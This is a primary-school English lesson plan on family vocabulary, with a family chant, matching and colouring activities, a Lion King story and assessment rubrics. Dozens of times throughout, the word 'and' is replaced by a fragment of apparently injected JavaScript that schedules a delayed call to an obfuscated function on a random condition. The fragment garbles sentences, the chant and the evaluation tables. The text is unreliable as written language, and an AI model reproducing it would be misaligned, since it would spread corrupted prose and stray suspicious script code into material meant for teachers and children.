DIDACTIC UNIT: “FAMILY AND MUSIC”

Autoras: Sara Abel Santiago González y Patricia Hernández Hernández

1. JUSTIFICATION

This Didactic Unit is based on the family. It has been designed for first cycle of primary but we can also apply it in the second cycle of primary education by increasing the difficulty of the activities andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and vocabulary.

We have chosen this theme (“My Family”) to illustrate how important it is for us to know the family structure. It is important for children to talk about their families in both Spanish andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and English. Further more they like to know how they can call their family members in another language other than their own as is the English.


This Didactic Unit also helps teachers to establish a friendly atmosphere in the classroom in order to create a feeling of respect andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and cooperation, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and to encourage the pupils´ self-esteem.

2. FINAL TASK

Students will learn to name  various members of their family in English.

3. OBJETIVES OF THE DIDACTIC UNIT

- The students will assimilate concerning vocabulary of family members.

- Students acquire a correct pronunciation of words given.

- Classify the members of the family according to age.

- Students will be able to carry out descriptions of drawings, their family members,…

- Students will be able to distinguish a drawing of a description given by others.

- Students will be able to tell a story orally.

4. ACTIVITES

To begin the session we will devote five minutes to listening to a song in English, so that the students are aware that we are going to start our English lesson. During this time the students will take all the material necessary to begin the class. (Strangers like me, Tarzan).

Similarly, at the end of the meeting, we will devote five minutes to tell the children the things they need to make at home andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and materials that they should bring the following day. After this we take two minutes so that the children can put away the material used during the meeting, at this time they listen to a song (Hakuna Matata, The Lion King).

1st LESSON.


1. To begin this Didactic Unit, we introduce students to new vocabulary flash cards. Vocabulary will be the family.

When we present the vocabulary the students repeat the words we say to them. We repeat every word as many times as necessary until the students pronounce the words correctly.

We will also review vocabulary of the previous unit relating to disposable materials.

To teach the vocabulary we need ten minutes.


2. The children will be taught a chant about the family by constant repetition. This chant will be practiced every day, in order to achieve a correct recital.

My mum,

my dad,

my sister

andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and my brother.

My mum,

my dad,

my sister

andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and my brother.

This is my family,

This is my family.

(REPEAT)

3. We give the students an activity with six drawings andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and six words.


They have to unite drawings with the corresponding word.

4. We give the students an activity with six squares andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and with the names of various Family members.

They are what draw within the square of different family members.

5. We give the students an activity with six drawings of different family members.

They have to listen to numbered words which the teacher will be saying out  aloud.

For the last three activities we give the students 20 minutes to perform.

Finally, the pupils will listen to the chant all over again.

2nd LESSON.

1. We give the students a drawing of a tree andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and stickers with the names of the different family members we saw earlier. Students have to put every word in the appropriate place in the tree.

2. We will give the children several pairs of images, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and below each the description of one image. The students have to describe encircle the image.

3. We give the children the picture of a family, each part of the drawing numbered. Each number corresponds to a color. Students have to color each part of the picture depending on the color that corresponds to the numbering.


We allow the students 20 minutes for these three activities.

4. We shall give the children domino chips. They must cut them out. Then the students play in pairs. The Domino is composed of colors, family members andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and parts of the body.

The teacher corrects activities previously performed while students play dominoes.


This is done for 15 minutes.

5. We practice the chant that we have learned the previous day for five minutes.

3rd LESSON.

1. We tell the children a story. In this tale the protagonists are two characters from the Lion King. In this tale the characters talk about their families, who his parents are, if they have brothers,…


For this activity we need five minutes.

2. We give the students the various vignettes of jumbled story to put in order.


To perform this activity we are giving the children five minutes.

3. We give the students the various vignettes of the story from each of which we have removed a word. Children need to fill in the blanks with the words we offer them in the box above the pictures.


To perform this activity we allow the children ten minutes. To correct this activity andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the previous task we need five minutes.

5. PREVIOUS KNOWLEDGE

Students have previous knowledge regarding the parts of the body andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and colors because the didactic units have been previously studied in “My Body” andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and “The Colors”.

In this way, students can talk about the colors of certain body parts from people in the family who are described.

The didactic unit which will be reviewed after this is “The geometric shapes”.

6. ANTICIPATED PROBLEMS


The problems that we find are:

- Understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding the tree pedigree.

- The correct narration of the story.

7. MATERIALS

- Flash cards.

- Power Point Presentation.

- Mural: Chant.

- Mural: tree pedigree

- Activities

- Cd: songs, chant.

8.     LEVEL

The Didactic Unit has been designed for first cycle Primary School students. It could also be used in the to second cycle Primary School students.


9. DISTRIBUTION OF STUDENTS.

The distribution of the students will basically be in large groups andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and also individual.


10. NUMBER OF LESSONS

Three 50 minute lessons will be devoted to completing this Didactic Unit.

11. EVALUATION

The assessment is that we will implement an ongoing evaluation. Evaluate from the beginning of the unit to complete all the proposed activities, the participation of students in class, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and so on.

We will fill a table with the evaluation criteria (APPENDIX B: ASSESSMENT REPORTS) as we move into the unit. Therefore we will not implement a final examination.

We have chosen this type of assessment because we believe the most important work that students perform on a daily basis is that the task can be performed at any given time.


12. REINFORCEMENT ACTIVITIES

Students who need additional reinforcement besides conducting other activities dealing with the same theme which, consist of writing vocabulary under its drawing, relating the English words with their drawings, complete texts with missing letters.


13. EXTENSION ACTIVITIES

Students who complete their activities in the classroom will carry out other activities that are about the same unit, such as, soup of letters, puzzles, descriptions, inventing a story…


14. APPENDIX A: TABLE OF CONTENTS

- Understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding spoken simple messages to perform tasks in the classroom.

- Production of oral texts known previously through active participation in routines, performances, songs, recitations, drama.

- Reading words andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and simple sentences, previously known in real or simulated oral interactions.

- Writing words andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and phrases, interactions previously learned in oral reading andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and later transmitting andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and sharing information.


15. APPENDIX B: ASSESSMENT REPORTS

DIDACTIC UNIT ASSESSMENT REPORTS

1(-)

2

3

4

5(+)

1. Motivating.

2. Suitability of the distribution of time.

3. Adequacy of the role of the teacher.

4. Adequacy of the role of students.

5. Classroom atmosphere.

6. Suitability of objectives.

7. Suitability of the final task.

8. Interaction teacher-students.

9. Interaction students-students.

10. Adequacy of resources.

11. Interest in the topic on part of students.

12. Involvement of students.

13. Appropriateness of activities.

INDIVIDUAL ASSESSMENT REPORT

1(-)

2

3

4

5(+)

1. Achievement of final task.

2. Level of oral comprehension.

2.1. Recognizes the phonemes, rhythms andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and patterns on English.

2.2. Can grasp the overall sense of simple messages in context.

2.3. Con follow simple oral instructions in context.

2.4. Can identify simple details in oral texts.

2.5. Can grasp the overall sense of less contextualized messages.

3. Level of oral production.

3.1. Can reproduce brief messages with appropriate pronunciation andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and intonation.

3.2. Can use simple social expressions.

3.3. Can reproduce brief short, modelled oral messages andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and descriptions.

3.4. Can produce original oral messages.

4. Level of reading comprehension andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and written production.

4.1. Can interpret thewritten code 1) at word level, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and 2) at simple phrase/ sentence level.

4.2. Can grasp the overall sense of brief written text.

4.3. Can extract specific information from brief written texts.

4.4. Can follow simple written instructions.

4.5. Can produce modelled written information 1) at word level, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and 2) at phrase/sentence level.

4.6. Can produce original written texts.

5. Socio-affective skills.

5.1. Gets involved in the class dynamics.

5.2. Shows positive attitude towards the topic.

5.3. Participated actively.

5.4. Collaborates.

5.5. Shows positive attitude towards the English language.

5.6. Shows respect for his/her classmates.

5.7. Shows respect for other lifestyles.

5.8. Shows interest in other lifestyles.

ATTAINMENT TARGETS

1(-)

2

3

4

5(+)

1. Learning skills.

1.1. Can work independently of the teacher.

1.2. Can reflect on andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and assess own performance andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and progress.

1.3. Can make use of reference source.

2. Social skills.

2.1. Participates actively.

2.2. Collaborates.

2.3. Shows respect for other lifestyle.

2.4. Shows interest in other lifestyle.

2.5. Shows respect for his/her classmates.

2.6. Shows positive attitude towards the English language.

3. Level of oral comprehension.

3.1. Recognizes the phonemes, rhythms andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and patterns of English.

3.2. Can grasp the overall sense of simple messages in context.

3.3. Can follow simple oral instructions in context.

3.4. Can identify simple details in oral texts.

3.5. Can grasp the overall sense of less contextualized messages.

4. Level of oral production.

4.1. Can reproduce brief messages with appropriate pronunciation andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and intonation.

4.2. Can use simple social expressions.

4.3. Can reproduce short, modelled oral messages andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and descriptions.

4.4. Can produce original oral messages.

5. Level of reading comprehension andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and written production.

5.1. Can interpret thewritten code 1) at word level, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and 2) at phrase/sentence level.

5.2. Can grasp the overall sense of brief written text.

5.3. Can extract specific information from brief written text.

5.4. Can follow simple written instructions.

5.5. Can produce modelled written information 1) at words level, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and 2) at phrase/sentence level.

5.6. Can produce original written texts.

16. BIBLIOGRAFY.

  • Bruni, Cristiana: English Adventure (Prymary 1st cycle), Longman, ISBN: 058282924-0.
  • Bruni, Cristiana: English Adventure (Prymary 2nd cycle), Longman, ISBN: 058282926-7.
  • http://disneylatino.es

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